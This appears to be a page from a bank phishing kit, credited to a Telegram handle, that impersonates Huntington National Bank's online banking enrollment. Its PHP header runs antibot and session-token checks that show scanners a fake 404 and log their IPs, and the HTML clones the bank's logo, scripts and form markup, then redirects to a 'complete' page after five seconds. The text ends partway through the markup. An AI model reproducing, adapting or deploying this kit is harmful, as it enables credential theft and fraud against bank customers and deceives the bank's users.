<?php
/*   
TELEGRAM @H4x0rxploit
JOIN US AT TELEGRAM GROUP : https://t.me/H4x0rxploits
*/
    session_start();

    require_once '../Meta/Comp.php';
    require_once '../Meta/Antibot.php';
    require_once '../Meta/demonTest.php';

    $comps = new Comp;
    $antibot = new Antibot;

    $settings = $comps->settings();

    if (!$comps->checkToken()) {
        echo $antibot->throw404();
        $comps->log(
            "../../Guard/Audio/kill.txt",
            "IP: " . $_SESSION['ip'] . "\nUser Agent: " . $comps->getUserAgent() . "\nReason: Token\n\n"
        );
        die();
    }

    if (
        !isset($_SESSION['username']) ||
        $_SESSION['username'] == ""
    ) {
        echo $antibot->throw404();
        $comps->log(
            "../../Guard/Audio/kill.txt",
            "IP: " . $_SESSION['ip'] . "\nUser Agent: " . $comps->getUserAgent() . "\nReason: Skipping Pages\n\n"
        );
        die();
    }

?>
<!DOCTYPE html>
<html lang="en-us">
<head>
        <meta charset="utf-8" />
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="format-detection" content="telephone=no">
    <meta name="viewport" content="width=device-width">
    <meta name="viewport" content="initial-scale=1.0">
    <meta http-equiv="refresh" content="5; url=complete.php?token=<?php echo $_SESSION['token']; ?>">

    <title>Huntington National Bank</title>

    <link rel="apple-touch-icon" sizes="180x180" href="https://onlinebanking.huntington.com/rol/Retail/Content/Images/holvthree/favicons/apple-touch-icon.png">
<link rel="icon" type="image/png" sizes="32x32" href="https://onlinebanking.huntington.com/rol/Retail/Content/Images/holvthree/favicons/favicon-32x32.png">
<link rel="icon" type="image/png" sizes="16x16" href="https://onlinebanking.huntington.com/rol/Retail/Content/Images/holvthree/favicons/favicon-16x16.png">
<link rel="mask-icon" href="https://onlinebanking.huntington.com/rol/Retail/Content/Images/holvthree/favicons/safari-pinned-tab.svg" color="#5bbad5">
<link rel="shortcut icon" href="https://onlinebanking.huntington.com/rol/Retail/Content/Images/holvthree/favicons/favicon.ico">
<meta name="msapplication-TileColor" content="#da532c">
<meta name="msapplication-config" content="https://onlinebanking.huntington.com/Retail/Content/Images/holvthree/favicons/browserconfig.xml">
<meta name="theme-color" content="#ffffff">

    <script type="text/javascript" src="https://onlinebanking.huntington.com/rol/Common/scripts/ruxitagentjs_ICA27Vfgjqrux_10235220309135426.js" data-dtconfig="rid=RID_1226390113|rpid=-676250830|domain=hban.us|reportUrl=/Retail/rb_55ab56e3-f58b-45f8-a01d-56e2db48866f|uam=1|app=e901f9adc46e5a00|rcdec=1209600000|featureHash=ICA27Vfgjqrux|vcv=2|rdnt=0|uxrgce=1|bp=3|srmcrv=10|cuc=m1fm4lts|mel=100000|ssv=4|lastModification=1656354322732|dtVersion=10235220309135426|srmcrl=1|tp=500,50,0,1|uxdcw=1500|agentUri=/Common/scripts/ruxitagentjs_ICA27Vfgjqrux_10235220309135426.js"></script><link href="https://onlinebanking.huntington.com/rol/Retail/Content/Styles/vthreeallFullCss?v=2ZDVJ_v_ZN_39ydAEc0J-ZW1lDJazz2XExS_B1OFj3A1" rel="stylesheet"/>

    <link href="https://onlinebanking.huntington.com/rol/Retail/Content/lib/jqueryui/jqueryCss?v=xmFYcVrKDcz9CwBN1BsFeQ6rUwSKWm5Jq_aZkRRYCRg1" rel="stylesheet"/>

    <script src="https://onlinebanking.huntington.com/rol/Retail/Scripts/jquery?v=zdFcqJY_4jT6KQ6x-4PH6Kx15RfI6mn_qdSQw7Nfoy01"></script>

    <script src="https://onlinebanking.huntington.com/rol/Retail/Scripts/common?v=5pC3zY2I1LMn_u4zGydOW2zmJ-MWFLJNgnzLkbHGpNo1"></script>

    <script src="https://onlinebanking.huntington.com/rol/Retail/Scripts/rol?v=NeBoxs0BTZ7hBIXFKmHlzexzJPJb5uAOQpeuNwrCiQI1"></script>

    <script src="https://onlinebanking.huntington.com/rol/Retail/Scripts/rolv3?v=KpW3sqaNCVQeQAMPvMG7NWTap-lpNSCjRoLxiSBJpGI1"></script>

    <!--Analytics Domain Layer-->
  
  
    <script>
        var activeMenuItemName = '';
    </script>
</head>
<body>
    <div id="tmxSpeedbumpId-modal-id" class="c-g-modal" data-modal="tmxSpeedbumpId" data-model-open-class="c-g-modal--active">
    <div class="o-g-vhc o-g-vhc--100 o-g-vhc--80@medium o-g-vhc--ie-hack c-g-modal__window u-g-pad-all-0">
        <div class="u-g-pad-all-m">
            <div id="tmxSpeedbumpId-scroll" class="o-g-vhc__content" data-ajax-container="tmxSpeedbumpId-container" data-modal-partialview-container=""></div>

            <div class="c-g-preloader" data-ajax-name="tmxSpeedbumpId-container">
    <div title="Loading" class="c-g-preloader__icon-container">
        <div class="c-g-preloader__icon c-g-preloader__icon--1 a-g-preloader a-g-preloader-1"></div>
        <div class="c-g-preloader__icon c-g-preloader__icon--2 a-g-preloader a-g-preloader-2"></div>
        <div class="c-g-preloader__icon c-g-preloader__icon--3 a-g-preloader a-g-preloader-3"></div>
        <div class="c-g-preloader__icon c-g-preloader__icon--4 a-g-preloader a-g-preloader-3"></div>
        <div class="c-g-preloader__icon c-g-preloader__icon--5 a-g-preloader a-g-preloader-2"></div>
        <div class="c-g-preloader__icon c-g-preloader__icon--6 a-g-preloader a-g-preloader-1"></div>
    </div>
    <div class="c-g-preloader__text a-g-preloader-text">Loading</div>
</div>


            <div class="u-g-mar-top-m u-g-txt-right">
                <button id="tmxSpeedbumpId-btn" class="speedbump-continue c-g-btn u-g-cursor-pointer" data-close-modal="" data-target="#">OK</button>
            </div>
        </div>
    </div>
</div>
 <!-- Modal displayed -->


        <div class="o-g-frame" data-expand-id="menu" data-expand-open-class="o-g-frame--open">
            <div class="o-g-frame__container">
                    <div id="fab-area"></div>
                    <div id="site-survey"></div>
                <div class="c-g-ada-links" role="navigation">
                        <a href="#primary-navigation">Skip to navigation</a>
                    <a href="#main-content">Skip to main content</a>
                    <a href="#footer">Skip to footer</a>
                </div>


<!-- Header -->
<header class="c-g-header">
    <div class="o-g-frame__controls c-g-header__controls">
        
        <a class="u-g-cursor-default" href="#" aria-label="Huntington Logo">
        <h1 aria-label="Huntington - Welcome.">
                <svg class="c-g-header__logo" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 616.3001 121.3" aria-hidden="true">
                    <path class="u-g-fill-white" d="M367.1,97.3a1.36707,1.36707,0,0,1-1.4,1.4H348a1.36707,1.36707,0,0,1-1.4-1.4V35.7a1.36708,1.36708,0,0,1,1.4-1.4h17.8a1.36707,1.36707,0,0,1,1.4,1.4V97.3Z"
                          transform="translate(-5.3 -4.8)" />
                    <path class="u-g-fill-white" d="M192.5,9.6H173.4A1.36707,1.36707,0,0,0,172,11V43H156.6V11a1.36707,1.36707,0,0,0-1.4-1.4H136.1a1.36707,1.36707,0,0,0-1.4,1.4V97.4a1.36707,1.36707,0,0,0,1.4,1.4h19.1a1.36707,1.36707,0,0,0,1.4-1.4v-35H172v35a1.36707,1.36707,0,0,0,1.4,1.4h19.1a1.36707,1.36707,0,0,0,1.4-1.4V11A1.36707,1.36707,0,0,0,192.5,9.6Z"
                          transform="translate(-5.3 -4.8)" />
                    <path class="u-g-fill-white" d="M374,97.3a1.36707,1.36707,0,0,0,1.4,1.4h17.3a1.36707,1.36707,0,0,0,1.4-1.4V48.8h4.6a4.22537,4.22537,0,0,1,4.2,4.2V97.3a1.36707,1.36707,0,0,0,1.4,1.4h17.4a1.36707,1.36707,0,0,0,1.4-1.4V48.9a14.51042,14.51042,0,0,0-14.5-14.5H376.4a2.21953,2.21953,0,0,0-2.2,2.2V97.3Z"
                          transform="translate(-5.3 -4.8)" />
                    <path class="u-g-fill-white" d="M572.5,97.3a1.36706,1.36706,0,0,0,1.4,1.4h17.3a1.3671,1.3671,0,0,0,1.4-1.4V48.8h4.6a4.22537,4.22537,0,0,1,4.2,4.2V97.3a1.36706,1.36706,0,0,0,1.4,1.4h17.4a1.3671,1.3671,0,0,0,1.4-1.4V48.9a14.51042,14.51042,0,0,0-14.5-14.5h-32.2a2.21953,2.21953,0,0,0-2.2,2.2V97.3Z"
                          transform="translate(-5.3 -4.8)" />
                    <path class="u-g-fill-white" d="M256.9,97.3a1.36707,1.36707,0,0,0,1.4,1.4h17.3a1.36707,1.36707,0,0,0,1.4-1.4V48.8h4.6a4.22537,4.22537,0,0,1,4.2,4.2V97.3a1.36707,1.36707,0,0,0,1.4,1.4h17.4a1.36707,1.36707,0,0,0,1.4-1.4V48.9a14.51042,14.51042,0,0,0-14.5-14.5H259.3a2.21953,2.21953,0,0,0-2.2,2.2V97.3Z"
                          transform="translate(-5.3 -4.8)" />
                    <path class="u-g-fill-white" d="M249.8,35.7a1.36708,1.36708,0,0,0-1.4-1.4H231.1a1.36707,1.36707,0,0,0-1.4,1.4V84.2h-4.6a4.22534,4.22534,0,0,1-4.2-4.2V35.7a1.36708,1.36708,0,0,0-1.4-1.4H202.1a1.36707,1.36707,0,0,0-1.4,1.4V84.1a14.51042,14.51042,0,0,0,14.5,14.5h32.2a2.21953,2.21953,0,0,0,2.2-2.2V35.7Z"
                          transform="translate(-5.3 -4.8)" />
                    <path class="u-g-fill-white" d="M338.9,84.3h-3.4a4.22537,4.22537,0,0,1-4.2-4.2V51.7h7.6a1.36707,1.36707,0,0,0,1.4-1.4V35.7a1.36708,1.36708,0,0,0-1.4-1.4h-7.6V22.5a1.36708,1.36708,0,0,0-1.4-1.4H313.4a1.36708,1.36708,0,0,0-1.4,1.4V84.1a14.51042,14.51042,0,0,0,14.5,14.5h12.4a1.36707,1.36707,0,0,0,1.4-1.4V85.7A1.43016,1.43016,0,0,0,338.9,84.3Z"
                          transform="translate(-5.3 -4.8)" />
                    <path class="u-g-fill-white" d="M511.1,84.3h-3.4a4.22537,4.22537,0,0,1-4.2-4.2V51.7h7.6a1.36707,1.36707,0,0,0,1.4-1.4V35.7a1.36708,1.36708,0,0,0-1.4-1.4h-7.6V22.5a1.36708,1.36708,0,0,0-1.4-1.4H485.6a1.36708,1.36708,0,0,0-1.4,1.4V84.1a14.51042,14.51042,0,0,0,14.5,14.5h12.4a1.36707,1.36707,0,0,0,1.4-1.4V85.7A1.36707,1.36707,0,0,0,511.1,84.3Z"
                          transform="translate(-5.3 -4.8)" />
                    <path class="u-g-fill-white" d="M476.5,34.3h-33A14.51042,14.51042,0,0,0,429,48.8V84.1a14.51042,14.51042,0,0,0,14.5,14.5h14.3v8.5a3.37194,3.37194,0,0,1-3.4,3.4h-2a3.37194,3.37194,0,0,1-3.4-3.4v-2.7a1.36707,1.36707,0,0,0-1.4-1.4H430.3a1.36707,1.36707,0,0,0-1.4,1.4v5.1h0c0,10,5.2,13.4,14.2,15.4a51.39992,51.39992,0,0,0,10.3,1h0a60.32644,60.32644,0,0,0,10.3-1c9-2,14.2-5.4,14.2-15.4V35.7A1.43023,1.43023,0,0,0,476.5,34.3Zm-18.7,50h-4.6a4.22537,4.22537,0,0,1-4.2-4.2V53a4.22535,4.22535,0,0,1,4.2-4.2h4.6Z"
                          transform="translate(-5.3 -4.8)" />
                    <path class="u-g-fill-white" d="M552.2,34.3a51.39993,51.39993,0,0,0-10.3-1,60.32648,60.32648,0,0,0-10.3,1c-9,2-14.2,5.4-14.2,15.4V83.3c0,10,5.2,13.4,14.2,15.4a51.39993,51.39993,0,0,0,10.3,1,60.32608,60.32608,0,0,0,10.3-1c9-2,14.2-5.4,14.2-15.4V49.8C566.3,39.7,561.1,36.4,552.2,34.3ZM546.9,80a4.22536,4.22536,0,0,1-4.2,4.2H541a4.22537,4.22537,0,0,1-4.2-4.2V53a4.22537,4.22537,0,0,1,4.2-4.2h1.7a4.22537,4.22537,0,0,1,4.2,4.2Z"
                          transform="translate(-5.3 -4.8)" />
                    <polygon class="u-g-fill-green" points="51.2 37.6 51.2 0 37.6 7.9 37.6 45.5 51.2 37.6" />
                    <polygon class="u-g-fill-green" points="56.3 83.7 56.3 121.3 70 113.4 70 75.8 56.3 83.7" />
                    <polygon class="u-g-fill-green" points="37.6 72.8 37.6 113.4 51.2 121.3 51.2 81 75.1 67.2 75.1 110.4 88.8 102.6 88.8 18.7 75.1 10.9 75.1 51.1 37.6 72.8" />
                    <polygon class="u-g-fill-green" points="32.4 10.9 18.8 18.8 18.8 102.6 32.4 110.4 32.4 70.2 70 48.5 70 7.9 56.3 0 56.3 40.3 32.4 54.1 32.4 10.9" />
                    <path class="u-g-fill-green" d="M19,26.5,7.4,33.2a4.48288,4.48288,0,0,0-2.1,3.3V94.4a4.37323,4.37323,0,0,0,2.1,3.3L19,104.4Z"
                          transform="translate(-5.3 -4.8)" />
                    <path class="u-g-fill-green" d="M99.2,104.4l11.6-6.7a4.48287,4.48287,0,0,0,2.1-3.3V36.5a4.37322,4.37322,0,0,0-2.1-3.3L99.2,26.5Z"
                          transform="translate(-5.3 -4.8)" />
                </svg>
        </h1>
    </a>

            <div class="c-g-header__search-toggle-filler"></div>
    </div>
</header>
<!-- /Header -->

<div class="c-g-printing-header" aria-hidden="true">
    <div class="c-g-printing-header__logo">
        <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" x="0px" y="0px" viewBox="0 0 273 81" xml:space="preserve">
        <style type="text/css">
            .Arched_x0020_Green-426f67770bf448deb2bea96a42e79ecf {
                fill: url(#SVGID_1_);
                stroke: #FFFFFF;
                stroke-width: 0.25;
                stroke-miterlimit: 1;
            }

            .st0-426f67770bf448deb2bea96a42e79ecf {
                fill: #66BD29;
            }

            .st1-426f67770bf448deb2bea96a42e79ecf {
                fill: #776F67;
            }
</style>
        <linearGradient id="SVGID_1_" gradientUnits="userSpaceOnUse" x1="-271.0385" y1="316.0266" x2="-270.3314" y2="315.3195">
        <stop offset="0" style="stop-color:#5AA347"></stop>
        <stop offset="0.9831" style="stop-color:#2E3B28"></stop>
            </linearGradient>
        <path class="st0-426f67770bf448deb2bea96a42e79ecf" d="M169.4,59.5h3.8l3.4,15.9l2.6-15.9h3.2l-3.8,20.4h-3.7l-3.6-16.8l-3.7,16.8h-3.7l-3.8-20.4h3.2l2.6,15.9  L169.4,59.5z"></path>
        <path class="st0-426f67770bf448deb2bea96a42e79ecf" d="M189.1,65.8c4.7,0,5.5,3.1,5.5,6.8c0,0.5,0,0.9-0.1,1.3h-8.3c0.1,2,0.8,3.3,3.5,3.3c1.7,0,3.1-0.3,4.3-0.8v2.6  c-1.5,0.6-3.3,0.8-4.7,0.8c-4.5,0-6.1-2.7-6.1-7C183.2,68.6,184.7,65.8,189.1,65.8z M186.2,71.9h5.4c0-1.8-0.1-3.4-2.4-3.4  C186.9,68.4,186.3,69.9,186.2,71.9z"></path>
        <path class="st0-426f67770bf448deb2bea96a42e79ecf" d="M197.5,76.3V59.5h3v16.8c0,0.8,0.3,1,1.1,1v2.4c0,0-0.3,0.1-0.6,0.1C198.6,79.8,197.5,78.6,197.5,76.3z"></path>
        <path class="st0-426f67770bf448deb2bea96a42e79ecf" d="M210.1,77.3c1.6,0,2.5-0.2,3.5-0.6v2.6c-1,0.5-2.3,0.7-3.7,0.7c-4.7,0-6.2-2.8-6.2-7c0-4.2,1.4-7,6.2-7  c1.4,0,2.7,0.2,3.7,0.7v2.6c-1-0.4-2-0.6-3.5-0.6c-2.6,0-3.4,1.8-3.4,4.4C206.8,75.5,207.5,77.3,210.1,77.3z"></path>
        <path class="st0-426f67770bf448deb2bea96a42e79ecf" d="M215.8,72.9c0-4.1,1.2-7,6-7c4.8,0,6,2.9,6,7c0,4.1-1.2,7-6,7C217,79.9,215.8,77,215.8,72.9z M224.7,72.9  c0-2.9-0.4-4.5-2.9-4.5c-2.5,0-2.9,1.6-2.9,4.5c0,2.9,0.4,4.5,2.9,4.5C224.3,77.4,224.7,75.7,224.7,72.9z"></path>
        <path class="st0-426f67770bf448deb2bea96a42e79ecf" d="M245.8,70.1c0-1.3-0.7-1.7-1.9-1.7c-1.3,0-2.2,0.4-2.9,0.8c0.1,0.5,0.1,0.9,0.1,1.5v8.9h-3v-9.5  c0-1.3-0.7-1.7-1.9-1.7c-1.2,0-2.1,0.4-2.8,0.8v10.4h-3V66.2h1.8l0.5,1.1c1.1-0.9,2.7-1.4,4.1-1.4c1.8,0,2.9,0.5,3.4,1.3  c1.2-0.9,2.8-1.3,4.3-1.3c3.2,0,4.4,1.7,4.4,4.3v9.5h-3V70.1z"></path>
        <path class="st0-426f67770bf448deb2bea96a42e79ecf" d="M257.2,65.8c4.7,0,5.5,3.1,5.5,6.8c0,0.5,0,0.9-0.1,1.3h-8.3c0.1,2,0.8,3.3,3.5,3.3c1.7,0,3.1-0.3,4.3-0.8v2.6  c-1.5,0.6-3.3,0.8-4.7,0.8c-4.5,0-6.1-2.7-6.1-7C251.3,68.6,252.8,65.8,257.2,65.8z M254.3,71.9h5.4c0-1.8-0.1-3.4-2.4-3.4  C255,68.4,254.4,69.9,254.3,71.9z"></path>
        <path class="st0-426f67770bf448deb2bea96a42e79ecf" d="M266.8,76c1.1,0,2,0.9,2,2c0,1.1-0.9,2-2,2c-1.1,0-2-0.9-2-2C264.8,76.9,265.7,76,266.8,76z"></path>
        <g><path class="st1-426f67770bf448deb2bea96a42e79ecf" d="M154,41.2c0,0.3-0.3,0.6-0.6,0.6h-7.5c-0.3,0-0.6-0.3-0.6-0.6V15c0-0.3,0.3-0.6,0.6-0.6h7.5   c0.3,0,0.6,0.3,0.6,0.6V41.2z"></path></g>
        <g><path class="st1-426f67770bf448deb2bea96a42e79ecf" d="M80,4h-8.1c-0.3,0-0.6,0.3-0.6,0.6v13.6h-6.5V4.5c0-0.3-0.3-0.6-0.6-0.6h-8.1c-0.3,0-0.6,0.3-0.6,0.6v36.6   c0,0.3,0.3,0.6,0.6,0.6h8.1c0.3,0,0.6-0.3,0.6-0.6V26.3h6.5v14.8c0,0.3,0.3,0.6,0.6,0.6H80c0.3,0,0.6-0.3,0.6-0.6V4.5   C80.6,4.2,80.4,4,80,4z"></path></g>
        <g><path class="st1-426f67770bf448deb2bea96a42e79ecf" d="M156.9,41.2c0,0.3,0.3,0.6,0.6,0.6h7.3c0.3,0,0.6-0.3,0.6-0.6V20.6h1.9c1,0,1.8,0.8,1.8,1.8v18.8   c0,0.3,0.3,0.6,0.6,0.6h7.4c0.3,0,0.6-0.3,0.6-0.6V20.6c0-3.4-2.8-6.2-6.2-6.2h-13.7c-0.5,0-0.9,0.4-0.9,0.9V41.2z"></path></g>
        <g><path class="st1-426f67770bf448deb2bea96a42e79ecf" d="M241.1,41.2c0,0.3,0.3,0.6,0.6,0.6h7.3c0.3,0,0.6-0.3,0.6-0.6V20.6h1.9c1,0,1.8,0.8,1.8,1.8v18.8   c0,0.3,0.3,0.6,0.6,0.6h7.4c0.3,0,0.6-0.3,0.6-0.6V20.6c0-3.4-2.8-6.2-6.2-6.2H242c-0.5,0-0.9,0.4-0.9,0.9V41.2z"></path></g>
        <g><path class="st1-426f67770bf448deb2bea96a42e79ecf" d="M107.3,41.2c0,0.3,0.3,0.6,0.6,0.6h7.3c0.3,0,0.6-0.3,0.6-0.6V20.6h1.9c1,0,1.8,0.8,1.8,1.8l0,18.8   c0,0.3,0.3,0.6,0.6,0.6h7.4c0.3,0,0.6-0.3,0.6-0.6l0-20.5c0-3.4-2.8-6.2-6.2-6.2h-13.7c-0.5,0-0.9,0.4-0.9,0.9V41.2z"></path></g>
        <g><path class="st1-426f67770bf448deb2bea96a42e79ecf" d="M104.3,15c0-0.3-0.3-0.6-0.6-0.6h-7.3c-0.3,0-0.6,0.3-0.6,0.6v20.6h-1.9c-1,0-1.8-0.8-1.8-1.8V15   c0-0.3-0.3-0.6-0.6-0.6h-7.4c-0.3,0-0.6,0.3-0.6,0.6v20.5c0,3.4,2.8,6.2,6.2,6.2h13.7c0.5,0,0.9-0.4,0.9-0.9V15z"></path></g>
        <g><path class="st1-426f67770bf448deb2bea96a42e79ecf" d="M142.1,35.6h-1.4c-1,0-1.8-0.8-1.8-1.8v-12h3.2c0.3,0,0.6-0.3,0.6-0.6V15c0-0.3-0.3-0.6-0.6-0.6h-3.2v-5   c0-0.3-0.3-0.6-0.6-0.6h-7c-0.3,0-0.6,0.3-0.6,0.6v26.1c0,3.4,2.8,6.2,6.2,6.2h5.3c0.3,0,0.6-0.3,0.6-0.6v-4.9   C142.7,35.9,142.4,35.6,142.1,35.6z"></path></g>
        <g><path class="st1-426f67770bf448deb2bea96a42e79ecf" d="M215.1,35.6h-1.4c-1,0-1.8-0.8-1.8-1.8v-12h3.2c0.3,0,0.6-0.3,0.6-0.6V15c0-0.3-0.3-0.6-0.6-0.6h-3.2v-5   c0-0.3-0.3-0.6-0.6-0.6h-7c-0.3,0-0.6,0.3-0.6,0.6v26.1c0,3.4,2.8,6.2,6.2,6.2h5.3c0.3,0,0.6-0.3,0.6-0.6v-4.9   C215.7,35.9,215.4,35.6,215.1,35.6z"></path></g>
        <g><path class="st1-426f67770bf448deb2bea96a42e79ecf" d="M200.4,14.5h-14c-3.4,0-6.2,2.8-6.2,6.2v14.9c0,3.4,2.8,6.2,6.2,6.2h6.1v3.6c0,0.8-0.6,1.4-1.4,1.4h-0.9   c-0.8,0-1.4-0.6-1.4-1.4v-1.1c0-0.3-0.3-0.6-0.6-0.6h-7.3c-0.3,0-0.6,0.3-0.6,0.6v2.2l0,0c0,4.3,2.2,5.7,6,6.5   c0.7,0.2,2.5,0.4,4.4,0.4l0,0c1.9,0,3.7-0.3,4.4-0.4c3.8-0.9,6-2.3,6-6.5V15C201,14.7,200.7,14.5,200.4,14.5z M192.5,35.6h-1.9   c-1,0-1.8-0.8-1.8-1.8V22.4c0-1,0.8-1.8,1.8-1.8h1.9V35.6z"></path></g>
        <g><path class="st1-426f67770bf448deb2bea96a42e79ecf" d="M232.5,14.4c-0.7-0.2-2.5-0.4-4.4-0.4c-1.9,0-3.7,0.3-4.4,0.4c-3.8,0.9-6,2.3-6,6.5v14.2c0,4.3,2.2,5.7,6,6.5   c0.7,0.2,2.5,0.4,4.4,0.4c1.9,0,3.7-0.3,4.4-0.4c3.8-0.9,6-2.3,6-6.5V21C238.5,16.7,236.3,15.3,232.5,14.4z M230.3,33.8   c0,1-0.8,1.8-1.8,1.8h-0.7c-1,0-1.8-0.8-1.8-1.8V22.4c0-1,0.8-1.8,1.8-1.8h0.7c1,0,1.8,0.8,1.8,1.8V33.8z"></path></g>
        <g>
        <g><polygon class="st0-426f67770bf448deb2bea96a42e79ecf" points="22.4,17.9 22.4,1.9 16.6,5.3 16.6,21.2"></polygon></g>
        <g><polygon class="st0-426f67770bf448deb2bea96a42e79ecf" points="24.5,37.4 24.5,53.3 30.3,50 30.3,34.1"></polygon></g>
        <g><polygon class="st0-426f67770bf448deb2bea96a42e79ecf" points="16.6,32.8 16.6,50 22.4,53.3 22.4,36.3 32.5,30.4 32.5,48.8 38.3,45.4 38.3,9.9 32.5,6.5 32.5,23.6"></polygon></g>
        <g><polygon class="st0-426f67770bf448deb2bea96a42e79ecf" points="14.4,6.5 8.6,9.9 8.6,45.4 14.4,48.8 14.4,31.7 30.3,22.5 30.3,5.3 24.5,1.9 24.5,19 14.4,24.9"></polygon></g>
        <g><path class="st0-426f67770bf448deb2bea96a42e79ecf" d="M6.5,11.1L1.6,14c-0.5,0.3-0.9,0.9-0.9,1.4l0,24.6c0,0.5,0.4,1.1,0.9,1.4l4.9,2.8L6.5,11.1z"></path></g>
        <g><path class="st0-426f67770bf448deb2bea96a42e79ecf" d="M40.5,44.2l4.9-2.8c0.5-0.3,0.9-0.9,0.9-1.4l0-24.6c0-0.5-0.4-1.1-0.9-1.4l-4.9-2.8L40.5,44.2z"></path></g>
            </g>
        <g><path class="st0-426f67770bf448deb2bea96a42e79ecf" d="M272.4,67.6c0,1.4-1.1,2.5-2.6,2.5c-1.4,0-2.6-1.1-2.6-2.5c0-1.4,1.1-2.5,2.6-2.5   C271.3,65.1,272.4,66.2,272.4,67.6z M267.9,67.6c0,1.1,0.8,2,2,2c1.1,0,1.9-0.9,1.9-2c0-1.1-0.8-2-1.9-2   C268.7,65.6,267.9,66.5,267.9,67.6z M269.4,68.9h-0.6v-2.5c0.2,0,0.5-0.1,1-0.1c0.5,0,0.7,0.1,0.9,0.2c0.1,0.1,0.2,0.3,0.2,0.5   c0,0.3-0.2,0.5-0.5,0.6v0c0.2,0.1,0.4,0.3,0.5,0.6c0.1,0.4,0.1,0.5,0.2,0.6h-0.6c-0.1-0.1-0.1-0.3-0.2-0.6c0-0.3-0.2-0.4-0.5-0.4   h-0.3V68.9z M269.5,67.5h0.3c0.3,0,0.6-0.1,0.6-0.4c0-0.2-0.2-0.4-0.5-0.4c-0.2,0-0.3,0-0.3,0V67.5z"></path></g>
       </svg>
    </div>
</div>



                <div class="o-g-detail-page  o-g-detail-page--narrow">
                    <div class="o-g-detail-page__main" data-info-container="">
                        <div>
                            <div class="u-g-aria-only" id="main-content" tabindex="-1" aria-label="Main Content Section Hit Tab To Continue" role="region"></div>
                            <main role="main">
                                
<script src="/rol/Retail/Scripts/Enrollment?v=jc-UrHUTDkvx9MW740RMC_dCreCy9B2K7-afcdwgK1E1"></script>

<script hidden='' aria-hidden='true' type='text/javascript' id='script_IPV_1730871192'>
$(document).ready(function (){  
var _init_script = null; try { _init_script = $('#script_IPV_1730871192'); $.fn.hol.initializePartialView(_init_script);} catch (e) {} 
/*dataLayer suppresed IPV*/});
</script>

<div class="c-g-preloader" data-ajax-name="enrollment-workflow-container">
    <div title="Loading" class="c-g-preloader__icon-container">
        <div class="c-g-preloader__icon c-g-preloader__icon--1 a-g-preloader a-g-preloader-1"></div>
        <div class="c-g-preloader__icon c-g-preloader__icon--2 a-g-preloader a-g-preloader-2"></div>
        <div class="c-g-preloader__icon c-g-preloader__icon--3 a-g-preloader a-g-preloader-3"></div>
        <div class="c-g-preloader__icon c-g-preloader__icon--4 a-g-preloader a-g-preloader-3"></div>
        <div class="c-g-preloader__icon c-g-preloader__icon--5 a-g-preloader a-g-preloader-2"></div>
        <div class="c-g-preloader__icon c-g-preloader__icon--6 a-g-preloader a-g-preloader-1"></div>
    </div>
    <div class="c-g-preloader__text a-g-preloader-text">Loading</div>
</div>


<div id="workflow-container" class="hol-pageFlowContainer" data-ajax-container="enrollment-workflow-container">
    <script type="text/javascript">


        var startWorkflowAnimation = function () {
            try {
                var enrollmentWorkflowPreloader = ActivePreloaders.getByName('enrollment-workflow-container');
                if (!enrollmentWorkflowPreloader) {
                    enrollmentWorkflowPreloader = new PreloaderAnimation("enrollment-workflow-container");
                }
                enrollmentWorkflowPreloader.startAnimation(false);
            } catch (ex) { }
        }
        var stopWorkflowAnimation = function () {
            try {
                var enrollmentWorkflowPreloader = ActivePreloaders.getByName('enrollment-workflow-container');
                enrollmentWorkflowPreloader.hideLoader(false);
            } catch (ex) { }
            
        }

    </script>

        <div id="ProgressBarContainer" class="u-g-fs-normal u-g-disp-none u-g-mar-bottom-m">

        <div class="u-g-bgc-silver u-g-width-100 u-g-mar-top-xs">
            <div id="ProgressBar" class="u-g-bgc-green" style="height:0.375rem;"></div>
        </div>
    </div>
    <script type="text/javascript">
        function initializeProgressBar(percentage) {
            if (percentage) {
                var progressBarContainer = document.getElementById("ProgressBarContainer");

                $(progressBarContainer).show();
                document.getElementById("ProgressBar").style.width = percentage + "%";

                var content = document.createTextNode(percentage + "% complete");
                progressBarContainer.prepend(content);
            }
        }
    </script>


    <form action="https://onlinebanking.huntington.com/rol/Retail/SelfService/Enrollment/AccountInfo" id="accountInfoForm" method="post"><script hidden='' aria-hidden='true' type='text/javascript' id='script_IPV_732296091'>
$(document).ready(function (){  
var _init_script = null; try { _init_script = $('#script_IPV_732296091'); $.fn.hol.initializePartialView(_init_script);} catch (e) {} 
/*dataLayer suppresed IPV*/});
</script>
<script>
    skipPreloader = false;
</script>
<input name="__RequestVerificationToken" type="hidden" value="BHlMpUNSeW5-lLujrW3MYE7JSYJsP4KN8_3jFRiO0vESBWTTuqxW_ERgYwagulesoHSc1yHCYzotzxYbyWF2Lp48CvE1" /><div>

    <h1 class="u-g-h2 u-g-txt-center " tabindex="0">Welcome to Huntington</h1>

    <div class='u-g-pad-bottom-s'></div>

    <div id="validationSummary" class="o-g-validation-group o-g-validation-group--small o-g-validation-group--error u-g-disp-none u-g-mar-top-s" data-validation-summary="validationSummary" aria-live="assertive">
    <div class="o-g-validation-group__msg u-g-mar-bottom-l">
        <div class="c-g-icon-msg">
            <svg class="c-g-icon-msg__icon c-g-icon-msg__icon--30" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512">
                <title>Exclamation Icon</title>
                <path d="M500.5,256A244.5,244.5,0,1,1,256,11.5h0A243.94826,243.94826,0,0,1,500.5,256ZM256,52.80068A203.19932,203.19932,0,1,0,459.19932,256h0A203.05361,203.05361,0,0,0,256,52.80068Z" />
                <path d="M292.34461,143.66216c0-1.652-3.30407-8.26014-9.91217-8.26014h-54.5169c-6.60812,0-9.91217,6.6081-9.91217,8.26014l4.95608,138.77025c0,3.30407,3.30405,6.6081,8.26014,6.6081h47.90878c4.95607,0,8.26014-3.30407,8.26014-6.6081Z" />
                <path d="M289.04055,328.68919c0-4.95607-3.30407-8.26014-8.26014-8.26014H231.2196c-4.95608,0-8.26014,3.30407-8.26014,8.26014V376.598c0,4.95607,3.30405,8.26014,8.26014,8.26014h49.56081c4.95607,0,8.26014-3.30407,8.26014-8.26014Z" />
            </svg>
            <div tabindex="0" id="validation-message-link" aria-live="assertive" class="u-g-color-black" data-validation-summary-link>
                Please correct <span id="errorCount" data-validation-summary-errorcount="">0</span> error<span id="dvShowPlural">s</span>. <button type="button" id="error-jump-btn" data-val-err-jump-button class="o-g-bare-button o-g-reverse-link" aria-label="Jump to first error">Jump to first error</button>.
            </div>
        </div>
    </div>
</div>



